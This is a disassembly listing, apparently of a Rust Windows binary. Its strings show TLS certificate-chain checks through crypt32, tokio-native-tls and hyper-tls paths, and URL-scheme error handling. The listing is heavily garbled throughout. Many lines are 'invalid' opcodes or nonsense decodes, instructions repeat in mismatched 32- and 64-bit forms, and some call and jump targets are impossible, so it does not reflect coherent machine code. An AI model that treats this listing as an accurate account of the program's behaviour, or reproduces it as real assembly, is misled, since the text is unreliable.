mov r8d, 0x118
call fcn.140106530
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x398]
lea ecx, [rsp + 0x398]
add eax, dword [rax]
add al, ch
movabs byte [0xa024848b48ffffb1], al
test byte [rax + riz*4], ah
call fcn.1400af850
mov rax, qword [rsp + 0x4a0]
test byte [rax + riz*4], ah
add al, 0
invalid
test byte [rax + riz*4], ah
movabs al, byte [0x8548e0d148000004]
sal byte [rbp + 0x27], 0x48
mov eax, dword [rsp + 0x4b8]
add al, 0
add byte [rax - 0x2f], cl
shl rax, 1
invalid
shl rax, 1
test rax, rax
test eax, eax
jne 0x1400b46e5
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
jne 0x1400b470c
mov r15, qword [rsp + 0x490]
mov r13, qword [rsp + 0x498]
test r13, r13
in eax, dx
mov esp, 0x49024
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x98
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
jne 0x1400b4738
jmp 0x1400b475f
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x4b8]
add byte [rax], al
add byte [rax], al
shl rax, 1
test rax, rax
je 0x1400b46ce
loopne 0x1400b4750
mov r8, qword [rsp + 0x4c0]
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
and al, 0x90
add al, 0
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x98
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
and al, 0x90
add al, 0
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x98
add al, 0
add byte [rbp - 0x7b], cl
in eax, dx
je 0x1400b475f
xor ebp, ebp
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + rbp*8]
inc rbp
invalid
call r14
cmp r13, rbp
jne 0x1400b4750
invalid
cmp qword [rsp + 0x488], 0
je 0x1400b477c
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
in al, 0xeb
invalid
invalid
in al, 0xeb
add eax, 0x7c834800
and al, 0x30
add byte [rbp - 0x77], cl
out 0x74, al
jnp 0x1400b47d0
cmp qword [rsp + 0x30], 0
mov r14, r12
je 0x1400b4802
cmp rbx, 2
cmp ebx, 2
je 0x1400b3d09
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
mov r8d, 0x118
mov eax, 0x118
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
add eax, 0xb8410000
mov eax, 0x118
call fcn.140106530
lea rdx, [rsp + 0x170]
xchg esp, eax
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x140], al
movups xmm1, xmmword [rsp + 0x150]
add byte [rax], al
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
mov word [rax + rdx*8], fs
add byte [rax], al
invalid
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xe0], rax
invalid
invalid
mov word [rax + rsi*8], fs
invalid
rol byte [rax], 1
add byte [rax], al
mov rax, qword [rsp + 0x160]
add byte [rax], al
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x6f0]
mov r8d, 0xe8
call 0x1280b47f3
cmp dword [0xfd4c47fe], ebx
sbb eax, 0xbd410005
add dword [rax], eax
add byte [rax], al
invalid
call 0x1280b47f3
cmp dword [0xfd4c47fe], ebx
sbb eax, 0xbd410005
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
adc ch, dh
invalid
jmp 0x1400b3d12
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x5d8]
fadd dword [0xf84c4814]
sbb byte [rcx], al
add byte [rax], al
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd8
fadd dword [0xf84c4814]
fadd dword [0xf84c4814]
sbb byte [rcx], al
add byte [rax], al
call fcn.140106530
lea rdx, [rsp + 0x170]
movups xmm0, xmmword [rsp + 0x140]
and al, 0x40
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], ecx
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
invalid
mov word [rax + rsi*8], fs
and al, 0xf0
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x6f0]
lea ecx, [rsp + 0x6f0]
and al, 0xf0
invalid
add byte [rax], al
and al, 0xf0
invalid
add byte [rax], al
mov r8d, 0xe8
call fcn.140106530
add eax, 0xed314500
add eax, 0xed314500
in eax, dx
jmp 0x1400b3d12
dec dword [rax - 0x73]
or eax, 0x88c41
invalid
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14013d540]
ret 0x88c
mov edx, 0x1e
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
or eax, 0x88de1
call fcn.140108b60
mov ecx, 1
mov rdx, r14
call fcn.1401082a0
invalid
invalid
invalid
lea rcx, str.future_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401429e8]
invalid
add byte [rdx + 0x1e], bh
mov edx, 0x1e
call fcn.140108990
lea rcx, [0x14013e4b0]
lea ecx, [0x14013e4b0]
call fcn.140108b60
mov ecx, 8
mov edx, 0x20
invalid
add al, ch
in al, dx
cmp dword [0x1401401d7], eax
add byte [rax], al
call fcn.1401082c0
mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x10
add byte [rax], al
invalid
add byte [rdx + 0x10], bh
call fcn.1401082c0
cmp dword [0x14d9890f5], eax
invalid
lea rcx, [0x14013e510]
call fcn.140108b60
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov ecx, 1
mov rdx, r15
call fcn.1401082a0
call fcn.140010970
int3
int3
add byte [rcx + 0x3e083d8], cl
and eax, 3
cmp eax, 1
jne 0x1400b49ec
lea rsi, [rbx - 1]
mov rdi, qword [rbx - 1]
mov edi, dword [rbx - 1]
mov edi, dword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je case.0x140070a56.287
cmp qword [rbx + 0x10], 0x11
jb 0x1400b49ad
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add bl, ch
invalid
add eax, 0x4819eb00
lea ecx, [rsi + 8]
mov r8d, 0x128
mov rdx, rdi
add dword [rax], eax
add byte [rax - 0x77], cl
cli
call fcn.140106530
mov qword [rsi], 0
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
invalid
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp fcn.1400adc10
xchg ecx, eax
invalid
invalid
xchg ecx, eax
invalid
sub rsp, 0x28
mov rdi, rcx
mov edi, ecx
mov edi, ecx
iretd
cmp qword [rcx + 8], 0
je 0x1400b4a42
mov r8, qword [rdi]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0x778b4800
adc byte [rax - 0x7b], cl
div byte [rsp + rsi + 0x48]
mov edi, dword [rdi + 0x18]
invalid
mov rsi, qword [rdi + 0x10]
test rsi, rsi
je 0x1400b4a7f
mov rdi, qword [rdi + 0x18]
sbb byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b4a7f
cmp qword [rdi + 0x10], 0x11
jb case.0x140065698.344
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xlatb
or al, 0
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rdi
pop rsi
ret
int3
sbb bl, al
int3
int3
invalid
int3
add eax, 0xcccccc00
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov edi, dword [rdx + 8]
mov rsi, qword [rdx]
test edi, edi
je 0x1400b4af7
shl rdi, 0x20
shl edi, 0x20
out 0x20, eax
or rdi, 2
jmp 0x1400b4c76
cmp dword [rsi + 0xc], 0
je 0x1400b4c5f
test byte [rsi + 1], bl
add byte [rax], al
add byte [rdi], cl
test byte [rsi + 1], bl
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r14, rcx
mov rax, qword [rsi + 0x10]
mov r13, qword [rax]
sub byte [rax - 0x77], cl
int1
sub byte [rax - 0x77], cl
int1
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov rdi, rax
cmp dword [rsi + 0xc], 2
jle 0x1400b4b26
add dh, byte [rdx + 0x49]
jle 0x1400b4b26
add dh, byte [rdx + 0x49]
mov r15d, 1
mov r12, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
add eax, 0x2d8b4800
cmpsd dword [rsi], dword [rdi]
out 5, al
invalid
xchg esi, eax
out 5, al
invalid
add byte [rax - 0x75], cl
invalid
invalid
add eax, 0x2d8b4800
cmpsd dword [rsi], dword [rdi]
out 5, al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
sub eax, 0x5e6a7
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x10]
mov r13, qword [rax + r15*8]
mov rcx, rsi
call r12
mov rbx, rax
mov rcx, rdi
call rbp
mov eax, dword [rsi + 0xc]
inc r15
invalid
mov rdi, rbx
cmp r15, rax
invalid
jb 0x1400b4b40
jmp 0x1400b4b69
mov rbx, rdi
mov rcx, rsi
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
adc eax, 0x5e658
adc eax, 0x5e658
mov rbx, qword [r14]
xor r15d, r15d
mov rdi, qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
cmp eax, 0x5e603
cmp eax, 0x5e603
add eax, 0x9012eb00
jmp 0x1400b4ba1
mov r15, qword [rsp + 0x30]
inc r15
mov rcx, r14
jl 0x1400b4bb8
xor byte [rcx - 1], cl
invalid
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
adc eax, 0x5e607
mov eax, dword [r13 + 0xc]
cmp r15, rax
cmp edi, eax
cmp edi, eax
jae 0x1400b4c54
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r13 + 0x10]
mov eax, dword [rbp + 0x10]
adc byte [r8 - 0x7b], r9b
ror byte [rdi], 0x84
cdq
add byte [rax], al
add byte [rcx + rcx*4 + 0x7c], cl
and al, 0x30
test rax, rax
je 0x1400b4c54
mov qword [rsp + 0x30], r15
mov rax, qword [rax + r15*8]
clc
mov rcx, qword [rax + 8]
call rdi
mov r14, rax
mov esi, eax
mov esi, eax
mov rcx, rbx
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b4b90
nop dword [rax]
mov r12, rax
mov rcx, rax
call rdi
mov r15, rax
mov r8d, dword [r12 + 0x10]
cmp r8d, dword [r14 + 0x10]
jne 0x1400b4c29
mov rdx, qword [r14 + 8]
mov rcx, qword [r12 + 8]
call fcn.140106bb0
mov ebp, eax
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test ebp, ebp
in eax, dx
in eax, dx
je 0x1400b4c34
mov rcx, rbx
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b4be0
invalid
mov esp, 0xffff67e9
jmp 0x1400b4b90
dec dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x1400b4c13
mov rcx, r15
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
in eax, 5
add bh, bh
xlatb
in eax, 5
add bh, bh
xlatb
mov rcx, r14
int1
call rdi
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
xor edi, edi
jmp 0x1400b4c76
mov rcx, qword [rsp + 0x28]
and al, 0x28
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jns 0x1400b4c42
add eax, 0x158d4800
and cl, byte [rdx - 0x47befff8]
invalid
lea rdx, str.unable_to_find_any_user_specified_roots_in_the_final_cert_chain
mov r8d, 0x3f
add byte [rcx + 0xccde827], dh
invalid
dec dword [rax - 0x77]
invalid
add byte [rcx + 0xccde827], dh
invalid
or al, 0xfe
dec dword [rax - 0x77]
invalid
mov rcx, rsi
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rax, rdi
add rsp, 0x38
add esp, 0x38
add esp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x8da02
mov r8d, 0x18
add byte [rax], al
add byte [rax - 1], cl
invalid
add byte [rax], al
add byte [rax - 1], cl
loopne 0x1400b4c89
int3
movabs rax, 0x737b579e60504edc
sahf
push rdi
jnp 0x1400b4d3d
movabs rdx, 0x7af1d5788c7b9390
js 0x1400b4ca7
int1
jp 0x1400b4c98
ret
int3
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
invalid
mov rsi, rcx
movzx eax, byte [rcx + 0xeb0]
test eax, eax
je 0x1400b4d3a
invalid
cmp eax, 3
jne 0x1400b4d32
invalid
cmp dword [rax - 0x73], ecx
jo case.0x1400950e8.168
lea rcx, [rsi + 0x70]
lea ecx, [rsi + 0x70]
call fcn.1400b80e0
fidiv word [rbx]
add byte [rax], al
mov rax, qword [rsi + 0x58]
mov eax, dword [rsi + 0x58]
pop rax
lock dec qword [rax]
jne 0x1400b4d15
mov rcx, qword [rsi + 0x58]
call fcn.1400398e0
clc
dec dword [rax - 0x75]
invalid
invalid
mov rax, qword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
invalid
lock dec qword [rax]
jne 0x1400b4d32
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
mov edx, dword [rsi + 0x68]
add rsp, 0x28
pop rdi
pop rsi
sub byte [rdi + 0x5e], bl
jmp fcn.140004950
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
mov rax, qword [rsi + 0x58]
pop rax
lock dec qword [rax]
je 0x1400b4dae
invalid
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
dec dword [rax]
je case.0x140051497.382
cmp byte [rsi], 2
jb case.0x1400792d3.276
mov rdi, qword [rsi + 8]
mov edi, dword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
sbb byte [rax - 0x75], cl
invalid
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
push rax
adc byte [rax - 0x75], cl
or eax, 0xcd4f0
invalid
adc r15b, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcd4f0
invalid
add byte [rcx], dh
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
clc
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5e5e5
in eax, 5
add byte [rax - 0x73], cl
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
invalid
invalid
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov edx, dword [rsi + 0x18]
push rsi
invalid
push rsi
sbb byte [rbx + rcx*4 + 0x46], cl
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
invalid
invalid
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
mov eax, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
push rsi
cmp byte [rax - 0x75], cl
mov rax, qword [rax + 0x10]
invalid
invalid
invalid
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x40]
add rsi, 0x48
add esi, 0x48
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
add esi, 0x48
mov rcx, rsi
add rsp, 0x28
add esp, 0x28
add esp, 0x28
sub byte [rdi + 0x5e], bl
pop rdi
pop rsi
jmp rax
loopne 0x1400b4df7
mov rcx, qword [rsi + 0x58]
mov ecx, dword [rsi + 0x58]
call fcn.1400398e0
mov rax, qword [rsi + 0x60]
invalid
lock dec qword [rax]
jne 0x1400b4d4e
clc
dec dword [rax - 0x75]
invalid
invalid
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
push 0xfffffffff4fb82e8
inc dword [rax - 0x7f8cfdc2]
invalid
push 0xfffffffff4fb82e8
inc dword [rax - 0x7f8cfdc2]
jmp case.0x1400792d3.276
int3
int3
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb28
movapd xmmword [rsp + 0xb10], xmm6
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
invalid
and al, 0x10
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
invalid
invalid
mov rdi, rdx
mov rbx, rcx
movzx eax, byte [rdx + 0xeb0]
test eax, eax
je case.0x14009ea2d.101
cmp eax, 3
jne case.default.0x1400b4e39
clc
add ecx, dword [rdi]
jne case.default.0x1400b4e39
lea r13, [rdi + 0x132]
lea r13, [rdi + 0x132]
movzx eax, byte [rdi + 0x132]
mov dh, 0x87
xor al, byte [rcx]
add byte [rax], al
lea rbp, [rdi + 0x70]
lea rcx, [0x140178a40]
or al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0xc8]
enter 0, 0
jmp 0x1400b4e9f
lea r14, [rdi + 0x58]
pop rax
lea rbp, [rdi + 0x70]
mov rax, qword [rdi + 0x50]
mov qword [rdi + 0xc0], rax
add byte [rdi], cl
adc byte [rdi + 0x40], al
movups xmmword [rdi + 0xb0], xmm0
movups xmmword [rdi + 0xb0], xmm0
adc dword [rdi + 0xb0], eax
mov al, 0
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
xor byte [rdi], cl
adc dword [rdi + 0xa0], ebx
xor byte [rdi], cl
adc dword [rdi + 0xa0], ebx
movups xmmword [rdi + 0x90], xmm2
movups xmmword [rdi + 0x80], xmm1
invalid
add byte [rax], 0
invalid
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x80], ecx
invalid
add byte [rax], 0
invalid
pop qword [rax + 0xf000000]
add byte [rax], 0
add byte [rdi], cl
movups xmmword [rdi + 0x70], xmm0
adc dword [rdi + 0x70], eax
mov qword [rdi + 0xc8], r14
lea r13, [rdi + 0x132]
invalid
add byte [rbp + rcx*4 - 0x51], cl
xor al, byte [rcx]
add byte [rax], al
invalid
add dh, al
xchg dword [rdx], esi
xor al, byte [rcx]
add byte [rax], al
invalid
mov byte [rdi + 0x132], 0
mov byte [rdi + 0x133], 0
add dword [rax], eax
add byte [rax], al
movups xmm0, xmmword [rbp]
adc byte [rbp], al
add byte [rdi], cl
adc byte [rbp + 0x10], cl
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movups xmmword [rdi + 0xd0], xmm0
xchg eax, edx
rol byte [rax], 1
add byte [rax], al
invalid
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rdi], cl
adc dword [rdi + 0xe0], ecx
movups xmmword [rdi + 0xe0], xmm1
movups xmmword [rdi + 0xf0], xmm2
movups xmmword [rdi + 0x100], xmm3
adc dword [rdi + 0x100], ebx
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x100], ebx
add dword [rax], eax
add bl, dh
movq mm0, qword [rbp + 0x40]
movdqu xmm0, xmmword [rbp + 0x40]
movdqu xmmword [rdi + 0x110], xmm0
xchg dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rbp + 0x50]
push r8
mov qword [rdi + 0x120], rax
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x49], cl
sub byte [rcx], al
add dword [rax], eax
invalid
mov qword [rdi + 0x128], r14
mov bh, 0x28
add dword [rax], eax
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
cmp byte [rax + 0x60], 0
movzx eax, byte [rdi + 0xd0]
mov dh, 0x87
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rsi - 0x7c], dh
je 0x1400b4f36
test al, al
je 0x1400b5000
add byte [rax], al
movzx eax, al
cmp eax, 1
invalid
test dl, ah
invalid
je 0x1400b4f36
test al, al
je 0x1400b5000
add byte [rax], al
cmp eax, 1
je 0x1400b4ff7
loop 0x1400b4f13
add byte [rax], al
add dword [rdi], ecx
test dl, ah
invalid
loop 0x1400b4f13
add byte [rax], al
add byte [rbx - 0x7bf0fd08], al
test dl, ah
invalid
add byte [rax], al
cmp eax, 2
je 0x1400b5000
test dl, ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
xchg ebx, eax
jae 0x1400b4f2d
add byte [rbp + rcx*4 + 5], cl
mov esp, 0xba000757
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
add byte [rax], al
add byte [rdx + 0x28], bh
sub byte [rax], al
add byte [rax], al
call fcn.140108630
test al, al
jne 0x1400b5038
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [0x140182310]
mov esi, 0x1e
mov edx, 0x1e
add byte [rcx], dh
leave
mov dh, 5
retf
leave
call fcn.1400df910
test rax, rax
je 0x1400b6c10
movups xmm0, xmmword [0x14012ce3d]
movups xmmword [rax + 0xe], xmm0
xlatb
jle case.0x140095d16.148
add byte [rdi], cl
adc dword [rax + 0xe], eax
movups xmm0, xmmword [0x14012ce2f]
add eax, 0x77ebe
jmp 0x1400b50ce
lea r14, [rdi + 0xb28]
sub byte [rbx], cl
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x87
invalid
movzx eax, byte [rdi + 0xb28]
sub byte [rbx], cl
add byte [rax], al
lea rcx, [rdi + 0x138]
mov qword [rsp + 0x38], rcx
cmp byte [rax - 0x73], cl
or eax, 0xc3abd
cmp cl, byte [rax + rax]
cmp byte [rax - 0x73], cl
or eax, 0xc3abd
cmp cl, byte [rax + rax]
cmp cl, byte [rax + rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
mov qword [rsp + 0x80], r13
jmp rax
mov r12, rsi
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x30], ebp
xor byte [rbx + rcx*4 + 0x6c], cl
and al, 0x38
mov r13, qword [rsp + 0x38]
jmp 0x1400b6446
lea r15, [rdi + 0x179]
mov edi, 0x179
add byte [rax], al
add byte [rdi], cl
mov dh, 0x87
jns 0x1400b4fc7
movzx eax, byte [rdi + 0x179]
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140178a70]
or eax, 0xc3aa1
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x30], rbp
mov r14, qword [rdi + 0x170]
mov rdx, qword [rdi + 0x158]
add byte [rax], al
add byte [rax], al
mov rbp, qword [rdi + 0x160]
jmp 0x1400b554c
cmp byte [rdi + 0xd1], 0
je 0x1400b5038
movzx eax, byte [0x140182310]
mov esi, 0x1f
add byte [rsi + 0x1f], bh
mov edx, 0x1f
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b6be6
movups xmm0, xmmword [0x14012ce1f]
movups xmmword [rax + 0xf], xmm0
invalid
movups xmm0, xmmword [str.invalid_URL__scheme_is_not_httpinvalid_URL__scheme_is_missinginvalid_URL__host_is_missingConnectError]
jmp 0x1400b50ce
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x1400b509b
mov rcx, qword [rdi + 0xe8]
call fcn.1400329a0
test rax, rax
je 0x1400b509b
mov r12, rax
mov r15, rdx
mov r8, qword [rdi + 0xf0]
xchg eax, esi
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
jae 0x1400b506a
add byte [rax], al
invalid
xchg eax, esi
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
jae 0x1400b506a
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x1880b5073
lea rcx, [rsp + 0x1f8]
mov rdx, qword [rdi + 0xe8]
lea rcx, [rsp + 0x1f8]
add dword [rax], eax
add al, ch
rcl ebx, 0xf7
dec dword [rax - 0x7d]
mov esp, 0x1f824
add byte [rax], al
call fcn.140032440
cmp qword [rsp + 0x1f8], 0
je 0x1400b51de
movzx ecx, word [rsp + 0x208]
jmp 0x1400b5204
add al, byte [rax]
add cl, ch
imul eax, dword [rcx], 0xb60f0000
add eax, 0xcd26e
or al, 0
movzx eax, byte [0x140182310]
or al, 0
mov esi, 0x1c
sbb al, 0
add byte [rax], al
mov edx, 0x1c
xor ecx, ecx
call fcn.1400df910
test rax, rax
ror byte [rdi], 0x84
sbb r8d, dword [r8]
invalid
ror byte [rdi], 0x84
sbb r8d, dword [r8]
add byte [rdi], cl
movups xmm0, xmmword [0x14012ce59]
movups xmm0, xmmword [0x14012ce59]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [0x14012ce4d]
invalid
add byte [rdi], cl
adc dword [rax], eax
invalid
movups xmmword [rax], xmm0
add byte [rsi + 0x48], ah
movd mm6, eax
invalid
movq xmm6, rax
invalid
movd xmm0, esi
punpcklqdq xmm6, xmm0
invalid
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
invalid
inc dword [rbp + 0x31]
in al, 0x80
mov edi, 0xd0
add dh, byte [rdx + 0x2b]
cmp byte [rdi + 0xd0], 2
jb 0x1400b5118
mov r14, qword [rdi + 0xd8]
add byte [rcx - 0x73], cl
sbb byte [rcx - 0x75], r9b
invalid
lea rcx, [r14 + 0x18]
lea ecx, [rsi + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
push rsi
or byte [rbp - 0x75], cl
adc dil, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcd153
push rsi
or byte [rbp - 0x75], cl
adc dil, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcd153
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0xf8]
add byte [rax], al
mov rax, qword [rdi + 0xe0]
add byte [rax], al
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
mov rax, qword [rdi + 0x100]
add byte [rax], al
mov rdx, qword [rdi + 0x108]
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
mov r8, qword [rdi + 0x110]
call qword [rax + 0x10]
mov byte [rdi + 0x132], 1
mov r13d, 2
mov rcx, rbp
mov ecx, ebp
jmp 0x1403ac752
call fcn.1400b80e0
mov rax, qword [rdi + 0x58]
lock dec qword [rax]
invalid
jne 0x1400b517e
mov rcx, qword [rdi + 0x58]
pop rax
call fcn.1400398e0
clc
clc
dec dword [rax - 0x75]
invalid
mov rax, qword [rdi + 0x60]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
or byte [rbp + 0xd], dh
jne case.0x140096fc6.125
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
mov edx, dword [rdi + 0x68]
mov edx, dword [rdi + 0x68]
push 0xfffffffff4f7bbe8
dec dword [rcx + rcx*4 + 0x2b]
mov qword [rbx], r13
call fcn.140004950
mov qword [rbx], r13
sub esp, dword [rsi + 0xf]
adc dword [rbx + 8], esi
movupd xmmword [rbx + 8], xmm6
mov qword [rbx + 0x18], r15
mov qword [rbx + 0x20], r12
mov al, 1
jmp 0x1400b6889
invalid
